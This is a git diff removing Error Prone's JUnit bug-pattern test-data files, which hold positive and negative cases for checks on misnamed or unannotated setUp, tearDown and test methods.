a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase5.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase5.java deleted file mode 100644 index 0dbc162e399..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase5.java +++ /dev/null @@ -1,37 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.junit.Test; - -/** - * Class inherits RunWith from superclass, so should not emit errors. - * - * @author rburny@google.com (Radoslaw Burny) - */ -public class JUnit3TestNotRunNegativeCase5 extends JUnit3TestNotRunNegativeCase3 { - - public void testEasyCase() {} - - @Test - public void name() {} - - public void tesMisspelled() {} - - @Test - public void tesBothIssuesAtOnce() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunPositiveCases.java deleted file mode 100644 index 4cb41ecc79d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunPositiveCases.java +++ /dev/null @@ -1,44 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import junit.framework.TestCase; - -/** - * @author rburny@google.com (Radoslaw Burny) - */ -public class JUnit3TestNotRunPositiveCases extends TestCase { - // BUG: Diagnostic contains: JUnit3TestNotRun - public static void tesNameStatic() {} - - // These names are trickier to correct, but we should still indicate the bug - // BUG: Diagnostic contains: JUnit3TestNotRun - public void tetsName() {} - - // BUG: Diagnostic contains: JUnit3TestNotRun - public void tesstName() {} - - // BUG: Diagnostic contains: JUnit3TestNotRun - public void tesetName() {} - - // BUG: Diagnostic contains: JUnit3TestNotRun - public void tesgName() {} - - // tentative - can cause false positives - // BUG: Diagnostic contains: JUnit3TestNotRun - public void textName() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4SetUpNotRunNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4SetUpNotRunNegativeCases.java deleted file mode 100644 index aa0dcccce50..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4SetUpNotRunNegativeCases.java +++ /dev/null @@ -1,94 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import junit.framework.TestCase; -import org.junit.Before; -import org.junit.internal.runners.JUnit38ClassRunner; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Not a JUnit 4 test (no @RunWith annotation on the class). */ -public class JUnit4SetUpNotRunNegativeCases { - public void setUp() {} -} - -@RunWith(JUnit38ClassRunner.class) -class J4SetUpWrongRunnerType { - public void setUp() {} -} - -@RunWith(JUnit4.class) -class J4SetUpCorrectlyDone { - @Before - public void setUp() {} -} - -/** May be a JUnit 3 test -- has @RunWith annotation on the class but also extends TestCase. */ -@RunWith(JUnit4.class) -class J4SetUpJUnit3Class extends TestCase { - public void setUp() {} -} - -/** setUp() method is private and wouldn't be run by JUnit3 */ -@RunWith(JUnit4.class) -class J4PrivateSetUp { - private void setUp() {} -} - -/** - * setUp() method is package-local. You couldn't have a JUnit3 test class with a package-private - * setUp() method (narrowing scope from protected to package) - */ -@RunWith(JUnit4.class) -class J4PackageLocalSetUp { - void setUp() {} -} - -@RunWith(JUnit4.class) -class J4SetUpNonVoidReturnType { - int setUp() { - return 42; - } -} - -/** setUp() has parameters */ -@RunWith(JUnit4.class) -class J4SetUpWithParameters { - public void setUp(int ignored) {} - - public void setUp(boolean ignored) {} - - public void setUp(String ignored) {} -} - -/** setUp() method is static and wouldn't be run by JUnit3 */ -@RunWith(JUnit4.class) -class J4StaticSetUp { - public static void setUp() {} -} - -abstract class SetUpAnnotatedBaseClass { - @Before - public void setUp() {} -} - -/** setUp() method overrides parent method with @Before. It will be run by JUnit4BlockRunner */ -@RunWith(JUnit4.class) -class J4SetUpExtendsAnnotatedMethod extends SetUpAnnotatedBaseClass { - public void setUp() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4SetUpNotRunPositiveCaseCustomBefore.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4SetUpNotRunPositiveCaseCustomBefore.java deleted file mode 100644 index 9b38b18bb2e..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4SetUpNotRunPositiveCaseCustomBefore.java +++ /dev/null @@ -1,31 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Slightly funky test case with a custom Before annotation */ -@RunWith(JUnit4.class) -public class JUnit4SetUpNotRunPositiveCaseCustomBefore { - // This will compile-fail and suggest the import of org.junit.Before - // BUG: Diagnostic contains: @Before - @Before - public void setUp() {} -} - -@interface Before {} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4SetUpNotRunPositiveCaseCustomBefore2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4SetUpNotRunPositiveCaseCustomBefore2.java deleted file mode 100644 index 9d10c741cf0..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4SetUpNotRunPositiveCaseCustomBefore2.java +++ /dev/null @@ -1,35 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Test case with a custom Before annotation. */ -@RunWith(JUnit4.class) -public class JUnit4SetUpNotRunPositiveCaseCustomBefore2 { - // This will compile-fail and suggest the import of org.junit.Before - // BUG: Diagnostic contains: @Before - @Before - public void initMocks() {} - - // BUG: Diagnostic contains: @Before - @Before - protected void badVisibility() {} -} - -@interface Before {} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4SetUpNotRunPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4SetUpNotRunPositiveCases.java deleted file mode 100644 index c4839fa424b..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4SetUpNotRunPositiveCases.java +++ /dev/null @@ -1,86 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.junit.After; -import org.junit.AfterClass; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Basic class with an untagged setUp method */ -@RunWith(JUnit4.class) -public class JUnit4SetUpNotRunPositiveCases { - // BUG: Diagnostic contains: @Before - public void setUp() {} -} - -@RunWith(JUnit4.class) -class J4PositiveCase2 { - // BUG: Diagnostic contains: @Before - protected void setUp() {} -} - -/** - * Replace @After with @Before - */ -@RunWith(JUnit4.class) -class J4AfterToBefore { - // BUG: Diagnostic contains: @Before - @After - protected void setUp() {} -} - -/** - * Replace @AfterClass with @BeforeClass - */ -@RunWith(JUnit4.class) -class J4AfterClassToBeforeClass { - // BUG: Diagnostic contains: @BeforeClass - @AfterClass - protected void setUp() {} -} - -class BaseTestClass { - void setUp() {} -} - -/** - * This is the ambiguous case that we want the developer to make the determination as to - * whether to rename setUp() - */ -@RunWith(JUnit4.class) -class J4Inherit extends BaseTestClass { - // BUG: Diagnostic contains: @Before - protected void setUp() {} -} - -/** - * setUp() method overrides parent method with @Override, but that method isn't @Before in the - * superclass - */ -@RunWith(JUnit4.class) -class J4OverriddenSetUp extends BaseTestClass { - // BUG: Diagnostic contains: @Before - @Override protected void setUp() {} -} - -@RunWith(JUnit4.class) -class J4OverriddenSetUpPublic extends BaseTestClass { - // BUG: Diagnostic contains: @Before - @Override public void setUp() {} -} - diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TearDownNotRunNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TearDownNotRunNegativeCases.java deleted file mode 100644 index d8ffe39c0ab..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TearDownNotRunNegativeCases.java +++ /dev/null @@ -1,91 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import junit.framework.TestCase; -import org.junit.After; -import org.junit.internal.runners.JUnit38ClassRunner; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Not a JUnit 4 class (no @RunWith annotation on the class). */ -public class JUnit4TearDownNotRunNegativeCases { - public void tearDown() {} -} - -@RunWith(JUnit38ClassRunner.class) -class J4TearDownDifferentRunner { - public void tearDown() {} -} - -@RunWith(JUnit4.class) -class J4TearDownHasAfter { - @After - public void tearDown() {} -} - -@RunWith(JUnit4.class) -class J4TearDownExtendsTestCase extends TestCase { - public void tearDown() {} -} - -@RunWith(JUnit4.class) -class J4TearDownPrivateTearDown { - private void tearDown() {} -} - -@RunWith(JUnit4.class) -class J4TearDownPackageLocal { - void tearDown() {} -} - -@RunWith(JUnit4.class) -class J4TearDownNonVoidReturnType { - int tearDown() { - return 42; - } -} - -@RunWith(JUnit4.class) -class J4TearDownTearDownHasParameters { - public void tearDown(int ignored) {} - - public void tearDown(boolean ignored) {} - - public void tearDown(String ignored) {} -} - -@RunWith(JUnit4.class) -class J4TearDownStaticTearDown { - public static void tearDown() {} -} - -abstract class TearDownAnnotatedBaseClass { - @After - public void tearDown() {} -} - -@RunWith(JUnit4.class) -class J4TearDownInheritsFromAnnotatedMethod extends TearDownAnnotatedBaseClass { - public void tearDown() {} -} - -@RunWith(JUnit4.class) -class J4TearDownInheritsFromAnnotatedMethod2 extends TearDownAnnotatedBaseClass { - @After - public void tearDown() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TearDownNotRunPositiveCaseCustomAfter.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TearDownNotRunPositiveCaseCustomAfter.java deleted file mode 100644 index 22ab106f288..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TearDownNotRunPositiveCaseCustomAfter.java +++ /dev/null @@ -1,31 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Slightly funky test case with a custom After annotation) */ -@RunWith(JUnit4.class) -public class JUnit4TearDownNotRunPositiveCaseCustomAfter { - // This will compile-fail and suggest the import of org.junit.After - // BUG: Diagnostic contains: @After - @After - public void tearDown() {} -} - -@interface After {} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TearDownNotRunPositiveCaseCustomAfter2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TearDownNotRunPositiveCaseCustomAfter2.java deleted file mode 100644 index 22ce1309848..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TearDownNotRunPositiveCaseCustomAfter2.java +++ /dev/null @@ -1,31 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Test case with a custom After annotation. */ -@RunWith(JUnit4.class) -public class JUnit4TearDownNotRunPositiveCaseCustomAfter2 { - // This will compile-fail and suggest the import of org.junit.After - // BUG: Diagnostic contains: @After - @After - public void tidyUp() {} -} - -@interface After {} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TearDownNotRunPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TearDownNotRunPositiveCases.java deleted file mode 100644 index c424bfc5a91..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TearDownNotRunPositiveCases.java +++ /dev/null @@ -1,73 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.junit.Before; -import org.junit.BeforeClass; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** - * @author glorioso@google.com - */ -@RunWith(JUnit4.class) -public class JUnit4TearDownNotRunPositiveCases { - // BUG: Diagnostic contains: @After - public void tearDown() {} -} - -@RunWith(JUnit4.class) -class JUnit4TearDownNotRunPositiveCase2 { - // BUG: Diagnostic contains: @After - protected void tearDown() {} -} - -@RunWith(JUnit4.class) -class J4BeforeToAfter { - // BUG: Diagnostic contains: @After - @Before protected void tearDown() {} -} - -@RunWith(JUnit4.class) -class J4BeforeClassToAfterClass { - // BUG: Diagnostic contains: @AfterClass - @BeforeClass protected void tearDown() {} -} - -class TearDownUnannotatedBaseClass { - void tearDown() {} -} - -@RunWith(JUnit4.class) -class JUnit4TearDownNotRunPositiveCase3 extends TearDownUnannotatedBaseClass { - // BUG: Diagnostic contains: @After - protected void tearDown() {} -} - -@RunWith(JUnit4.class) -class J4TearDownHasOverride extends TearDownUnannotatedBaseClass { - // BUG: Diagnostic contains: @After - @Override protected void tearDown() {} -} - -@RunWith(JUnit4.class) -class J4TearDownHasPublicOverride extends TearDownUnannotatedBaseClass { - // BUG: Diagnostic contains: @After - @Override public void tearDown() {} -} - - diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunBaseClass.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunBaseClass.java deleted file mode 100644 index 685e67fe2f7..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunBaseClass.java +++ /dev/null @@ -1,40 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** - * Base class for test cases to extend. - * - * @author eaftan@google.com (Eddie Aftandilian) - */ -@RunWith(JUnit4.class) -public class JUnit4TestNotRunBaseClass { - @Before - public void testSetUp() {} - - @After - public void testTearDown() {} - - @Test - public void testOverrideThis() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase1.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase1.java deleted file mode 100644 index 40cdd317436..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase1.java +++ /dev/null @@ -1,26 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * Not a JUnit 4 test (no @RunWith annotation on the class). - * - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class JUnit4TestNotRunNegativeCase1 { - public void testThisIsATest() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase2.java deleted file mode 100644 index 807df0d64a7..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase2.java +++ /dev/null @@ -1,30 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.junit.internal.runners.JUnit38ClassRunner; -import org.junit.runner.RunWith; - -/** - * Not a JUnit 4 test (run with a JUnit3 test runner). - * - * @author eaftan@google.com (Eddie Aftandilian) - */ -@RunWith(JUnit38ClassRunner.class) -public class JUnit4TestNotRunNegativeCase2 { - public void testThisIsATest() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase3.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase3.java deleted file mode 100644 index 9df4ac4d469..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase3.java +++ /dev/null @@ -1,57 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.junit.*; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -@RunWith(JUnit4.class) -public class JUnit4TestNotRunNegativeCase3 { - // Doesn't begin with "test", and doesn't contain any assertion-like method invocations. - public void thisIsATest() {} - - // Isn't public. - void testTest1() {} - - // Have checked annotation. - @Test - public void testTest2() {} - - @Before - public void testBefore() {} - - @After - public void testAfter() {} - - @BeforeClass - public void testBeforeClass() {} - - @AfterClass - public void testAfterClass() {} - - // Has parameters. - public void testTest3(int foo) {} - - // Doesn't return void - public int testSomething() { - return 42; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase4.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase4.java deleted file mode 100644 index a1573e6dca8..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase4.java +++ /dev/null @@ -1,31 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import junit.framework.TestCase; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** - * May be a JUnit 3 test -- has @RunWith annotation on the class but also extends TestCase. - * - * @author eaftan@google.com (Eddie Aftandilian) - */ -@RunWith(JUnit4.class) -public class JUnit4TestNotRunNegativeCase4 extends TestCase { - public void testThisIsATest() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase5.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase5.java deleted file mode 100644 index d3a06caf347..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase5.java +++ /dev/null @@ -1,37 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** - * Methods that override methods with @Test should not trigger an error (JUnit 4 will run them). - * - * @author eaftan@google.com (Eddie Aftandilian) - */ -@RunWith(JUnit4.class) -public class JUnit4TestNotRunNegativeCase5 extends JUnit4TestNotRunBaseClass { - @Override - public void testSetUp() {} - - @Override - public void testTearDown() {} - - @Override - public void testOverrideThis() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunPositiveCase1.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunPositiveCase1.java deleted file mode 100644 index ce2dfb269ca..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunPositiveCase1.java +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -@RunWith(JUnit4.class) -public class JUnit4TestNotRunPositiveCase1 { - // BUG: Diagnostic contains: @Test - public void testThisIsATest() {} - - // BUG: Diagnostic contains: @Test - public static void testThisIsAStaticTest() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunPositiveCase2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunPositiveCase2.java deleted file mode 100644 index 45353fc0875..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunPositiveCase2.java +++ /dev/null @@ -1,34 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.junit.runner.RunWith; -import org.mockito.junit.MockitoJUnitRunner; - -/** - * Mockito test runner that uses JUnit 4. - * - * @author eaftan@google.com (Eddie Aftandilian) - */ -@RunWith(MockitoJUnitRunner.class) -public class JUnit4TestNotRunPositiveCase2 { - // BUG: Diagnostic contains: @Test - public void testThisIsATest() {} - - // BUG: Diagnostic contains: @Test - public static void testThisIsAStaticTest() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitAssertSameCheckNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitAssertSameCheckNegativeCases.java deleted file mode 100644 index 5be90359d7f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitAssertSameCheckNegativeCases.java +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * Negative test cases for {@link JUnitAssertSameCheck} check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class JUnitAssertSameCheckNegativeCases { - - public void test(Object obj1, Object obj2) { - org.junit.Assert.assertSame(obj1, obj2); - org.junit.Assert.assertSame("message", obj1, obj2); - junit.framework.Assert.assertSame(obj1, obj2); - junit.framework.Assert.assertSame("message", obj1, obj2); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitAssertSameCheckPositiveCase.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitAssertSameCheckPositiveCase.java deleted file mode 100644 index 6799504ba31..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitAssertSameCheckPositiveCase.java +++ /dev/null @@ -1,39 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * Positive test cases for {@link JUnitAssertSameCheck} check. - * - * @author 